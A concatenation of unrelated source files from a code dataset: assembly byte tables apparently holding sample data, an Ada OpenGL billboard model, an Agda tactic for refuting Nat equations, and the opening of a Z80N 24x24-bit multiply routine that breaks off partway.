db 0xB4,0xCF,0xDE,0xFC,0x17,0x21,0x31,0x23,0x24,0x0A,0x00,0xED,0xEB,0xEC,0xF7,0x0A,0x19,0x2B,0x32,0x34,0x2D,0x20,0x13,0x05,0xFF,0xF3,0xEE,0xEA,0xE0,0xDA,0xCB,0xC6
db 0xA8,0xC5,0xDD,0xFE,0x23,0x2B,0x3C,0x25,0x21,0x01,0xF4,0xE4,0xE3,0xED,0xFB,0x16,0x24,0x34,0x36,0x31,0x25,0x16,0x0A,0x02,0xFF,0xFB,0xF7,0xF4,0xE6,0xD9,0xC6,0xBB
db 0xB0,0xB8,0xDA,0xEC,0x1A,0x22,0x39,0x2B,0x25,0x10,0xFB,0xED,0xE3,0xEA,0xF2,0x09,0x1C,0x2C,0x36,0x36,0x2E,0x1E,0x0F,0x04,0xFF,0xFC,0xF5,0xF5,0xEB,0xDF,0xCE,0xC1
db 0xB6,0xC2,0xDF,0xEE,0x18,0x1B,0x34,0x26,0x26,0x14,0x01,0xF6,0xE6,0xEC,0xED,0x01,0x12,0x22,0x34,0x33,0x34,0x28,0x1B,0x0F,0xFF,0xFA,0xEC,0xEE,0xE1,0xDB,0xCC,0xC4
db 0xB7,0xD5,0xE1,0xFC,0x16,0x1C,0x30,0x21,0x26,0x12,0x07,0xF9,0xED,0xEF,0xEF,0xFF,0x0D,0x1D,0x2C,0x2F,0x34,0x2B,0x21,0x13,0x07,0xF6,0xE6,0xE6,0xD7,0xD4,0xC6,0xC4
db 0xBB,0xD2,0xE4,0xF8,0x14,0x17,0x2C,0x22,0x25,0x19,0x0C,0x03,0xF4,0xF2,0xF1,0xF9,0x06,0x12,0x22,0x2A,0x32,0x2E,0x28,0x1C,0x0E,0xFA,0xE9,0xE1,0xD0,0xCD,0xC0,0xC1
db 0xBE,0xDC,0xE4,0x05,0x0F,0x1F,0x28,0x24,0x24,0x18,0x0E,0x04,0xF7,0xF7,0xF4,0xFD,0x07,0x14,0x21,0x29,0x30,0x2C,0x27,0x19,0x0A,0xF3,0xEB,0xD7,0xD0,0xC4,0xBE,0xBB
db 0xC4,0xD6,0xE0,0xF6,0x01,0x0E,0x18,0x18,0x1F,0x1A,0x18,0x12,0x0B,0x0A,0x04,0x07,0x06,0x0D,0x19,0x21,0x25,0x28,0x22,0x19,0x0A,0xFD,0xF0,0xE1,0xD7,0xCB,0xC5,0xC0
db 0xE4,0xEA,0xEE,0xF3,0xF9,0xFB,0x00,0x02,0x06,0x08,0x0A,0x0B,0x0B,0x0B,0x0D,0x0D,0x11,0x11,0x13,0x14,0x12,0x12,0x0C,0x07,0x01,0xF7,0xF4,0xEA,0xE6,0xE3,0xE0,0xE3
db 0xFE,0xFD,0xFC,0x01,0x02,0xFD,0x02,0xFE,0xFC,0x02,0x02,0x00,0x00,0xFF,0x01,0x04,0x00,0xFF,0x00,0x01,0x01,0x02,0xFE,0xFE,0x01,0x00,0x02,0xFD,0xFB,0xFD,0x00,0x00
db 0xFE,0x01,0xFD,0x03,0x03,0xF8,0x07,0x03,0xF3,0x0A,0xFE,0xF9,0x08,0xFC,0xFD,0x05,0xFD,0x02,0xFE,0x00,0x04,0xFC,0x01,0x03,0xFD,0x08,0xFC,0xFB,0x0A,0xF6,0xFD,0x04
db 0x06,0xFB,0xFA,0x04,0x08,0xF5,0xFE,0x0A,0xFE,0xFB,0xFE,0x06,0xFF,0x02,0xFB,0x00,0x04,0x01,0x00,0xFD,0x07,0x00,0xF8,0xFC,0x0F,0xFA,0xF0,0x0B,0x0D,0xF7,0xF5,0x08
db 0xFD,0xFE,0x07,0xFB,0xFE,0x01,0x04,0xF9,0x08,0xF8,0x01,0xFE,0x09,0xF8,0x01,0x03,0xFA,0x09,0xFE,0xF4,0x08,0x04,0xFF,0xF7,0x0B,0xFC,0xFD,0x04,0x07,0xF1,0x08,0x02
db 0x06,0xF9,0x00,0x03,0x00,0x02,0x00,0xFC,0x00,0x07,0xFA,0x01,0x05,0x01,0xF6,0x0D,0xF8,0x03,0x04,0xF5,0x05,0x08,0xF9,0xFB,0x03,0x03,0xFD,0x00,0x03,0xFC,0xFF,0x03
db 0x05,0x03,0xFE,0x00,0xF7,0x0B,0x01,0xF7,0x05,0x05,0xFA,0xFF,0x05,0x02,0xF5,0x09,0xFD,0xFD,0x09,0xF4,0x02,0x08,0xFE,0xFC,0xFA,0x0E,0xF7,0xFD,0x0A,0xFB,0xFD,0xFF
db 0x03,0x03,0xFD,0xFD,0xFF,0x0A,0xFE,0xF3,0x0D,0x00,0xF7,0x03,0x07,0xFB,0xFB,0x05,0x00,0x02,0xFE,0xFB,0x03,0x05,0x00,0xF9,0x06,0x06,0xF4,0x03,0x06,0xFD,0xFE,0xFD
db 0x01,0x02,0x00,0x01,0x01,0x01,0xFF,0x00,0x00,0xFE,0xFF,0x00,0xFE,0xFD,0x00,0xFE,0xFF,0x01,0xFF,0x00,0x01,0x01,0x02,0x01,0x02,0x04,0x00,0x01,0x02,0x01,0x01,0x00
db 0x0E,0x0C,0x09,0x04,0x01,0xFF,0xF8,0xF5,0xF1,0xEB,0xE6,0xE1,0xDF,0xE0,0xE4,0xEA,0xEF,0xF7,0xFB,0xFE,0x11,0x12,0x15,0x13,0x13,0x14,0x14,0x14,0x12,0x14,0x13,0x10
db 0x15,0x13,0x0F,0x08,0x07,0x07,0x05,0x01,0xF3,0xE4,0xD2,0xBD,0xAC,0xB0,0xC1,0xD3,0xE9,0xFF,0x0A,0x13,0x17,0x16,0x19,0x1A,0x1C,0x20,0x20,0x1E,0x1D,0x1A,0x19,0x19
db 0x05,0x09,0x0E,0x13,0x16,0x16,0x10,0x05,0xF6,0xE1,0xCD,0xBA,0xAE,0xAE,0xB5,0xC4,0xD9,0xF3,0x0D,0x1F,0x2D,0x35,0x36,0x35,0x2D,0x20,0x15,0x0C,0x05,0x02,0x02,0x03
db 0xFF,0x07,0x10,0x18,0x1D,0x1F,0x1A,0x0F,0xFF,0xEB,0xD5,0xBF,0xAC,0xA6,0xA9,0xB4,0xCA,0xE6,0x02,0x1C,0x35,0x43,0x47,0x45,0x3B,0x29,0x17,0x08,0xFD,0xF6,0xF7,0xFA
db 0x01,0x07,0x0E,0x16,0x1C,0x1E,0x1D,0x15,0x08,0xF7,0xE4,0xCF,0xBC,0xAD,0xAD,0xB2,0xC2,0xDB,0xF9,0x12,0x26,0x38,0x40,0x3E,0x36,0x2B,0x1B,0x0B,0x01,0xFC,0xFA,0xFC
db 0x07,0x09,0x0E,0x13,0x17,0x1A,0x18,0x14,0x0A,0xFB,0xE9,0xD8,0xC6,0xB5,0xAE,0xB8,0xC7,0xD9,0xF1,0x0C,0x1E,0x29,0x31,0x34,0x2C,0x21,0x18,0x0D,0x05,0x01,0x02,0x04
db 0x0B,0x0F,0x10,0x13,0x16,0x19,0x17,0x13,0x0C,0xFF,0xED,0xDC,0xCC,0xBE,0xB4,0xB5,0xC7,0xDD,0xF1,0x06,0x1D,0x2B,0x2D,0x2B,0x28,0x1F,0x13,0x08,0x03,0x01,0x01,0x05
db 0x0D,0x11,0x12,0x14,0x17,0x16,0x11,0x0B,0x03,0xF7,0xE7,0xD7,0xCA,0xC0,0xBA,0xC2,0xD4,0xE8,0xFA,0x0D,0x1F,0x2A,0x2C,0x28,0x21,0x18,0x0D,0x04,0x00,0x00,0x03,0x07
db 0x0C,0x10,0x13,0x15,0x15,0x13,0x0E,0x08,0xFF,0xF5,0xE9,0xDC,0xD0,0xC6,0xC1,0xC7,0xD6,0xE8,0xFA,0x0B,0x1C,0x27,0x2B,0x29,0x22,0x19,0x0F,0x05,0xFF,0xFF,0x02,0x07
db 0x0E,0x11,0x13,0x14,0x14,0x10,0x0A,0x04,0xFC,0xF4,0xE9,0xDE,0xD4,0xCC,0xC7,0xCB,0xD7,0xE8,0xF9,0x08,0x18,0x24,0x29,0x27,0x20,0x17,0x0E,0x06,0x01,0x01,0x04,0x09
db 0x0D,0x10,0x11,0x11,0x0F,0x0B,0x05,0xFF,0xF6,0xEF,0xE7,0xDF,0xD8,0xD1,0xCD,0xD0,0xDA,0xE8,0xF5,0x01,0x0E,0x1B,0x25,0x28,0x25,0x1F,0x19,0x12,0x0C,0x08,0x07,0x09
db 0x10,0x16,0x1B,0x1A,0x15,0x11,0x0E,0xFF,0xFA,0xF2,0xE7,0xDB,0xD2,0xCA,0xC1,0xBD,0xCE,0xED,0x02,0x07,0x0C,0x18,0x20,0x1D,0x19,0x1A,0x1D,0x18,0x0E,0x0A,0x0B,0x0C
db 0x17,0x21,0x2B,0x2C,0x18,0x0A,0x0E,0x11,0x02,0xFC,0xF5,0xDE,0xCA,0xC0,0xB3,0xAA,0xC2,0x03,0x38,0x31,0x0F,0xFA,0xE6,0xDB,0xFA,0x24,0x2B,0x21,0x1A,0x03,0xEE,0xFC
db 0x17,0x22,0x2F,0x32,0x10,0x00,0x0E,0x0D,0x07,0x10,0x0C,0xF7,0xEB,0xDB,0xB9,0xA9,0xB1,0xCB,0x1C,0x4B,0x26,0xFA,0xE0,0xC5,0xDF,0x21,0x36,0x28,0x21,0x00,0xDD,0xF1
db 0x06,0x19,0x31,0x35,0x1A,0x0A,0x0C,0x0C,0x0D,0x14,0x0B,0xF8,0xF2,0xE6,0xC7,0xB4,0xB2,0xAF,0xEF,0x45,0x38,0x0B,0xF2,0xC9,0xCC,0x0E,0x2E,0x2A,0x28,0x0C,0xE5,0xEE
db 0x08,0x20,0x36,0x30,0x14,0x0A,0x0B,0x09,0x11,0x15,0x08,0xFD,0xF3,0xDF,0xC5,0xB0,0xAF,0xB5,0xF9,0x42,0x32,0x0A,0xED,0xC5,0xD3,0x13,0x2C,0x2C,0x29,0x04,0xE3,0xF1
db 0xF6,0x18,0x37,0x2E,0x21,0x13,0x06,0x0C,0x15,0x10,0x0C,0x04,0xF6,0xE6,0xCC,0xB2,0xAD,0xA9,0xE0,0x39,0x36,0x19,0xFE,0xC7,0xC8,0x05,0x1D,0x2E,0x38,0x0E,0xEB,0xF0
db 0xF6,0x0A,0x30,0x30,0x2A,0x15,0x07,0x0A,0x0B,0x0F,0x13,0x08,0xFA,0xEB,0xD2,0xBC,0xB1,0xA6,0xCB,0x18,0x31,0x24,0x0D,0xDF,0xD2,0xF2,0x0B,0x20,0x2E,0x1C,0x03,0xF6
db 0x03,0x0A,0x13,0x18,0x16,0x11,0x0D,0x0A,0x0A,0x0A,0x08,0x06,0x02,0xFC,0xF5,0xED,0xE5,0xDE,0xE3,0xF0,0xF3,0xF8,0xFA,0xF2,0xF2,0xFB,0x04,0x12,0x1A,0x0E,0x06,0x03
db 0x0A,0x0A,0x09,0x09,0x08,0x08,0x08,0x08,0x07,0x06,0x01,0xFE,0xFC,0xFA,0xF8,0xF4,0xF3,0xF5,0xF5,0xF5,0xF7,0xF7,0xF6,0xF9,0xF9,0xFA,0xFF,0x00,0x02,0x05,0x06,0x07
db 0x06,0x07,0x07,0x06,0x06,0x06,0x05,0x05,0x04,0x03,0x02,0x01,0x00,0xFE,0xFD,0xFC,0xFB,0xFA,0xFA,0xF9,0xF9,0xF8,0xFD,0xFE,0xFF,0x00,0x01,0x02,0x03,0x04,0x05,0x06
db 0x0B,0x0C,0x0C,0x0E,0x0F,0x10,0x0F,0x0D,0x0B,0x09,0x00,0xFE,0xFC,0xFB,0xF9,0xF7,0xF4,0xF3,0xF1,0xEF,0xEF,0xF0,0xF3,0xF8,0xFD,0x00,0x02,0x04,0x07,0x09,0x09,0x09
db 0xF7,0x09,0x1B,0x22,0x22,0x23,0x26,0x20,0x18,0x0F,0x0E,0x10,0x11,0x0A,0x01,0xF7,0xEE,0xE1,0xD0,0xC1,0xB9,0xBB,0xD4,0xFE,0x23,0x2C,0x1D,0x09,0xFF,0xFA,0xF4,0xF0
db 0xF2,0xF9,0x1C,0x21,0x22,0x26,0x28,0x21,0x14,0x0B,0x0C,0x10,0x0F,0x06,0xFE,0xF8,0xED,0xDA,0xC4,0xB5,0xB1,0xBB,0xD9,0x03,0x26,0x32,0x27,0x15,0x08,0x00,0xF9,0xF3
db 0xDD,0xEA,0x04,0x1B,0x27,0x2C,0x2F,0x2E,0x24,0x12,0x02,0xFE,0x05,0x0A,0x04,0xF7,0xE8,0xD7,0xC5,0xB2,0xA6,0xB7,0xE7,0x1B,0x37,0x32,0x21,0x15,0x11,0x09,0xF7,0xE4
db 0x02,0x0C,0x13,0x1B,0x25,0x28,0x22,0x17,0x0F,0x0C,0x0E,0x0C,0x06,0x00,0xF8,0xEC,0xDC,0xCB,0xBD,0xB3,0xB5,0xCE,0xF4,0x12,0x1E,0x24,0x19,0x13,0x0E,0x04,0xFB,0xFA
db 0x09,0x0B,0x10,0x14,0x14,0x0F,0x0A,0x08,0x08,0x06,0x05,0x04,0x03,0xFF,0xFA,0xF4,0xF0,0xEC,0xE7,0xD7,0xE1,0xEF,0xFB,0x02,0x08,0x0E,0x11,0x10,0x0D,0x09,0x08,0x08
db 0x09,0x08,0x07,0x06,0x05,0x04,0x02,0x02,0x01,0x01,0x00,0xFF,0xFE,0xFC,0xFA,0xF8,0xF6,0xF4,0xF3,0xF3,0xF4,0xF5,0xF8,0xFA,0xFE,0x01,0x04,0x06,0x08,0x09,0x09,0x09
db 0x06,0x05,0x04,0x03,0x02,0x01,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFE,0xFE,0xFD,0xFC,0xFB,0xFB,0xFB,0xFB,0xFB,0xFB,0xFD,0xFE,0x01,0x03,0x05,0x07,0x07,0x07,0x07
db 0x00,0x01,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x02,0x03,0xFF,0x00,0x04,0x00,0xFD,0xFD,0xFB,0xFD,0xFD,0xFC,0xFE,0xFE,0xFE,0xFE,0xFF,0xFF,0x05,0x02,0x01,0x03,0x04
db 0x0E,0x0A,0x0B,0x0C,0x0B,0x0C,0x0D,0x0D,0x0C,0x0C,0x09,0x06,0x05,0x00,0xFB,0xF5,0xF0,0xEB,0xE8,0xE5,0xE2,0xE9,0xEF,0xF0,0xFB,0xFF,0x03,0x0B,0x0B,0x09,0x07,0x08
db 0xF6,0xF2,0xF7,0x03,0x19,0x2B,0x34,0x35,0x2B,0x1C,0x12,0x04,0xF9,0xF5,0xF0,0xEE,0xE5,0xDC,0xD1,0xC2,0xB8,0xC4,0xDC,0xED,0x00,0x17,0x20,0x26,0x25,0x18,0x0C,0x01
db 0xF7,0xF7,0xFE,0x10,0x1F,0x2A,0x2E,0x27,0x1C,0x10,0x04,0xFB,0xF7,0xF5,0xF5,0xF4,0xED,0xE0,0xD3,0xC5,0xC0,0xCD,0xDE,0xF2,0x0B,0x18,0x20,0x25,0x1A,0x11,0x07,0xFA
db 0x02,0x04,0x08,0x0C,0x0F,0x0F,0x0E,0x0A,0x0B,0x06,0x00,0xFD,0xFC,0xFC,0xFB,0xF9,0xF3,0xEE,0xE9,0xE4,0xE3,0xE8,0xED,0xF7,0x00,0x07,0x0D,0x0D,0x0D,0x09,0x05,0x04
db 0x01,0x01,0x01,0x02,0x02,0x02,0x02,0x02,0x01,0x01,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x01,0x01,0x02,0x02,0x02,0x02,0x02,0x02
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0xFF,0xFF,0xFD,0xFB,0xFF,0xFE,0xFD,0x00,0x01,0xFE,0x02,0x04,0x00,0x00,0x04,0x00,0x00,0x01,0xFF,0xFC,0xFF,0x00,0xFC,0xFF,0xFF,0xFF,0xFF,0x00,0xFF,0x01,0x0E,0x0E
db 0xFE,0x01,0x02,0xFE,0xFE,0xFF,0x00,0xFC,0xFE,0x01,0xFF,0x01,0x02,0x02,0x00,0x00,0x01,0x00,0xFF,0x00,0x00,0xFF,0xFE,0x01,0x01,0xFC,0x02,0x02,0x01,0x01,0x03,0x04
db 0xFE,0x00,0xFE,0x00,0x00,0xFE,0xFF,0xFE,0xFE,0x00,0x00,0x01,0x01,0x01,0x00,0xFF,0xFE,0xFF,0x00,0x00,0x02,0x00,0xFF,0xFF,0xFD,0xFE,0x00,0xFF,0x02,0x01,0x02,0x02
db 0x02,0xFF,0xFD,0xF9,0xF6,0xEF,0xEA,0xDE,0xE4,0xE4,0xE5,0xEE,0xF3,0xF3,0xFB,0xF7,0xFD,0x03,0x06,0x0B,0x0C,0x0D,0x0B,0x0B,0x0E,0x10,0x11,0x11,0x13,0x11,0x0D,0x08
db 0x0D,0xFF,0xFD,0xF4,0xE9,0xE2,0xCD,0xC0,0xB8,0xA8,0xDA,0xFE,0x0E,0x2B,0x08,0xF8,0xF2,0xEB,0x08,0x18,0x23,0x28,0x14,0x18,0x15,0x19,0x21,0x24,0x26,0x24,0x1C,0x18
db 0x0C,0x12,0x07,0xFC,0xF1,0xE0,0xCA,0xC5,0xB6,0xAC,0xB4,0x1B,0x35,0x31,0x1D,0xCF,0xD1,0xE7,0x0B,0x35,0x2C,0x18,0xFB,0xF9,0xFA,0x0C,0x29,0x38,0x34,0x1F,0x0D,0x07
db 0x15,0x13,0x07,0xF9,0xF3,0xDE,0xCB,0xC0,0xB2,0xA7,0xC8,0x38,0x31,0x38,0xFB,0xC3,0xDA,0xF0,0x19,0x38,0x2A,0x0E,0xEE,0xE6,0x04,0x20,0x3A,0x34,0x1F,0x10,0x02,0x10
db 0x0F,0x12,0x0A,0x07,0xFD,0xE8,0xD5,0xC4,0xBA,0xB1,0xB9,0x22,0x2A,0x3C,0x0F,0xD7,0xDF,0xE1,0x0D,0x26,0x2A,0x1F,0xFC,0xF3,0xFA,0x0B,0x28,0x29,0x29,0x15,0x0B,0x0B
db 0x0D,0x08,0x00,0xF7,0xE9,0xDF,0xD3,0xCE,0xC3,0xC9,0xEF,0xFF,0x19,0x13,0x0D,0x03,0xFE,0x01,0x04,0x0E,0x0D,0x0D,0x0C,0x0B,0x0E,0x10,0x13,0x12,0x10,0x0D,0x0D,0x0E
db 0x04,0x02,0xFF,0xFC,0xFA,0xF8,0xF6,0xF5,0xF4,0xF4,0xF8,0xFC,0x00,0x04,0x04,0x05,0x04,0x04,0x03,0x03,0x03,0x01,0x05,0x06,0x06,0x06,0x06,0x03,0x02,0x02,0x03,0x04
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x01,0x01,0xFD,0xFD,0xFD,0xFE,0xFC,0xFD,0xFF,0xFF,0xFF,0x01,0x02,0x01,0x00,0x01,0x01,0xFF,0xFF,0xFF,0xFE,0xFD,0xFE,0xFF,0xFD,0x00,0x04,0x03,0x05,0x06,0x06
db 0x08,0x07,0x08,0x08,0x05,0x04,0xFF,0xFD,0xF7,0xF2,0xEE,0xE9,0xEC,0xEF,0xF3,0xF9,0xFB,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x04,0x07,0x0F,0x12,0x17,0x16,0x14,0x06
db 0x10,0x07,0x01,0xFD,0xFC,0xF9,0xF8,0xF2,0xE8,0xD6,0xC8,0xBD,0xCD,0xE0,0xFD,0x16,0x24,0x2D,0x23,0x19,0x0B,0x00,0xF1,0xEF,0xF0,0xFB,0x0B,0x1C,0x29,0x2C,0x27,0x1B
db 0x0D,0x0C,0x0F,0x13,0x14,0x11,0x06,0xFA,0xE8,0xD8,0xC8,0xBC,0xBB,0xD2,0xF2,0x11,0x26,0x2A,0x23,0x11,0xFF,0xEE,0xE8,0xEA,0xF5,0x04,0x13,0x1D,0x21,0x1F,0x19,0x12
db 0x0F,0x13,0x14,0x18,0x14,0x0C,0xFD,0xF2,0xE7,0xDF,0xD7,0xCE,0xC7,0xC9,0xEA,0x00,0x1E,0x1F,0x1F,0x0E,0x03,0xF2,0xF0,0xF1,0xFB,0x07,0x12,0x18,0x18,0x19,0x13,0x13
db 0x0D,0x0F,0x12,0x15,0x15,0x0C,0x02,0xF6,0xEC,0xE6,0xE1,0xD7,0xD2,0xC8,0xDF,0xF8,0x11,0x1F,0x1C,0x15,0x04,0xF9,0xEE,0xF2,0xF6,0x04,0x0C,0x16,0x15,0x17,0x12,0x10
db 0x0B,0x0F,0x11,0x16,0x12,0x0A,0xFE,0xF4,0xEC,0xE5,0xE0,0xD8,0xD3,0xCE,0xE5,0xFA,0x13,0x1A,0x1A,0x11,0x04,0xF8,0xEF,0xF2,0xF7,0x05,0x0E,0x17,0x17,0x18,0x11,0x10
db 0x0B,0x0D,0x0F,0x12,0x0D,0x07,0xFC,0xF4,0xEB,0xE4,0xDC,0xD6,0xD1,0xDA,0xF0,0x03,0x16,0x19,0x19,0x0E,0x05,0xF7,0xF4,0xF1,0xF9,0x03,0x0E,0x16,0x19,0x17,0x12,0x0D
db 0x08,0x04,0x02,0x00,0xFF,0xFD,0xFB,0xF7,0xF2,0xED,0xE8,0xDC,0xDB,0xE7,0xF4,0x04,0x0E,0x14,0x14,0x0F,0x07,0xFF,0xFA,0xF8,0xFC,0x01,0x0B,0x11,0x17,0x16,0x13,0x0D
db 0x03,0x02,0x00,0xFF,0xFD,0xFA,0xF8,0xF7,0xF5,0xF4,0xF4,0xF4,0xF6,0xF9,0xFC,0xFF,0x03,0x05,0x08,0x09,0x0A,0x09,0x07,0x06,0x05,0x04,0x05,0x05,0x05,0x05,0x05,0x05
db 0x00,0xFF,0xFE,0xFC,0xFB,0xFA,0xF9,0xF8,0xF8,0xF7,0xF7,0xF8,0xF9,0xFA,0xFD,0xFF,0x03,0x05,0x08,0x09,0x09,0x08,0x08,0x07,0x07,0x06,0x05,0x04,0x03,0x01,0x03,0x01
|
3-mid/opengl/source/lean/model/opengl-model-billboard-colored_textured.adb | charlie5/lace-alire | 1 | 1105 | <filename>3-mid/opengl/source/lean/model/opengl-model-billboard-colored_textured.adb
with
openGL.Primitive.indexed,
openGL.IO;
package body openGL.Model.billboard.colored_textured
is
type Geometry_view is access all Geometry.colored_textured.item'Class;
---------
--- Forge
--
function new_Billboard (Size : in Size_t := default_Size;
Plane : in billboard.Plane;
Color : in lucid_Color;
Texture : in asset_Name) return View
is
Self : constant View := new Item;
begin
Self.define (Size);
Self.Plane := Plane;
Self.Color := Color;
Self.Texture_Name := Texture;
return Self;
end new_Billboard;
--------------
--- Attributes
--
overriding
function to_GL_Geometries (Self : access Item; Textures : access Texture.name_Map_of_texture'Class;
Fonts : in Font.font_id_Map_of_font) return Geometry.views
is
pragma unreferenced (Textures, Fonts);
use Geometry,
Geometry.colored_textured,
Texture;
the_Indices : aliased constant Indices := (1, 2, 3, 4);
the_Sites : constant billboard.Sites := vertex_Sites (Self.Plane,
Self.Width,
Self.Height);
function new_Face (Vertices : access Geometry.colored_textured.Vertex_array) return Geometry_view
is
use openGL.Primitive;
the_Geometry : constant Geometry_view := Geometry.colored_textured.new_Geometry;
the_Primitive : constant Primitive.view := Primitive.indexed.new_Primitive (triangle_Fan,
the_Indices).all'Access;
begin
the_Geometry.Vertices_are (Vertices.all);
the_Geometry.add (the_Primitive);
the_Geometry.is_Transparent;
return the_Geometry;
end new_Face;
Color : constant rgba_Color := +Self.Color;
the_Face : Geometry_view;
begin
declare
the_Vertices : constant access Geometry.colored_textured.Vertex_array := Self.Vertices;
begin
the_Vertices.all := Geometry.colored_textured.Vertex_array'
(1 => (site => the_Sites (1), color => Color, coords => (Self.texture_Coords (1))),
2 => (site => the_Sites (2), color => Color, coords => (Self.texture_Coords (2))),
3 => (site => the_Sites (3), color => Color, coords => (Self.texture_Coords (3))),
4 => (site => the_Sites (4), color => Color, coords => (Self.texture_Coords (4))));
the_Face := new_Face (Vertices => the_Vertices);
if Self.texture_Name /= null_Asset
then
Self.Texture := IO.to_Texture (Self.texture_Name);
end if;
if Self.Texture /= null_Object
then
the_Face.Texture_is (Self.Texture);
end if;
end;
Self.Geometry := the_Face;
return (1 => Geometry.view (the_Face));
end to_GL_Geometries;
procedure Color_is (Self : in out Item; Now : in lucid_Color)
is
begin
Self.Color := Now;
for i in Self.Vertices'Range
loop
Self.Vertices (i).Color := +Now;
end loop;
Self.is_Modified := True;
end Color_is;
procedure Texture_Coords_are (Self : in out Item; Now : in Coordinates)
is
begin
Self.texture_Coords := Now;
Self.needs_Rebuild := True;
end Texture_Coords_are;
overriding
procedure modify (Self : in out Item)
is
begin
Self.Geometry.Vertices_are (Self.Vertices.all);
Self.is_Modified := False;
end modify;
overriding
function is_Modified (Self : in Item) return Boolean
is
begin
return Self.is_Modified;
end is_Modified;
end openGL.Model.billboard.colored_textured;
|
src/Tactic/Nat/Refute.agda | L-TChen/agda-prelude | 111 | 12854 | <filename>src/Tactic/Nat/Refute.agda
module Tactic.Nat.Refute where
open import Prelude
open import Builtin.Reflection
open import Tactic.Reflection.Quote
open import Tactic.Reflection
open import Tactic.Nat.Reflect
open import Tactic.Nat.NF
open import Tactic.Nat.Exp
open import Tactic.Nat.Auto
open import Tactic.Nat.Auto.Lemmas
open import Tactic.Nat.Simpl.Lemmas
open import Tactic.Nat.Simpl
data Impossible : Set where
invalidEquation : ⊤
invalidEquation = _
refutation : ∀ {a} {A : Set a} {Atom : Set} {{_ : Eq Atom}} {{_ : Ord Atom}} eq (ρ : Env Atom) →
¬ CancelEq eq ρ → ExpEq eq ρ → A
refutation exp ρ !eq eq = ⊥-elim (!eq (complicateEq exp ρ eq))
refute-tactic : Term → TC Term
refute-tactic prf =
inferType prf >>= λ a →
caseM termToEq a of λ
{ nothing → pure $ failedProof (quote invalidEquation) a
; (just (eqn , Γ)) → pure $
def (quote refutation)
$ vArg (` eqn)
∷ vArg (quotedEnv Γ)
∷ vArg absurd-lam
∷ vArg prf ∷ []
}
macro
refute : Term → Tactic
refute prf hole = unify hole =<< refute-tactic prf
|
libsrc/_DEVELOPMENT/math/float/math32/z80/f32_z80n_mulu_32h_24x24.asm | jpoikela/z88dk | 0 | 90577 | ;
; feilipu, 2019 May
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
;------------------------------------------------------------------------------
;
; multiplication of two 24-bit numbers into a 32-bit product
;
; result is calculated for highest 32-bit result
; from a 48-bit calculation.
;
; Lower 8 bits intended to provide rounding information for
; IEEE floating point mantissa calculations.
;
; enter : abc = lde = 24-bit multiplier = x
; def = lde' = 24-bit multiplicand = y
;
; abc * def
; = (a*d)*2^32 +
; (a*e + b*d)*2^24 +
; (b*e + a*f + c*d)*2^16 +
; (b*f + c*e)*2^8
;
; NOT CALCULATED
; (c*c)*2^0
;
; 8 8*8 multiplies in total
;
; exit : hlde = 32-bit product
;
; uses : af, bc, de, hl, bc', de', hl'
IF __CPU_Z80N__
SECTION code_clib
SECTION code_fp_math32
PUBLIC m32_mulu_32h_24x24
.m32_mulu_32h_24x24
ld h,l ; ab:bc
ld l,d
ld a,h ; a in a
exx
ld h,a
push hl ; ad on stack
ld h,l ; de:ef
ld l,d
push hl ; de on stack
push de ; ef on stack
ld a,h ; d in a
exx
ld d,a ; dc in de
ld b,h
ld c,l
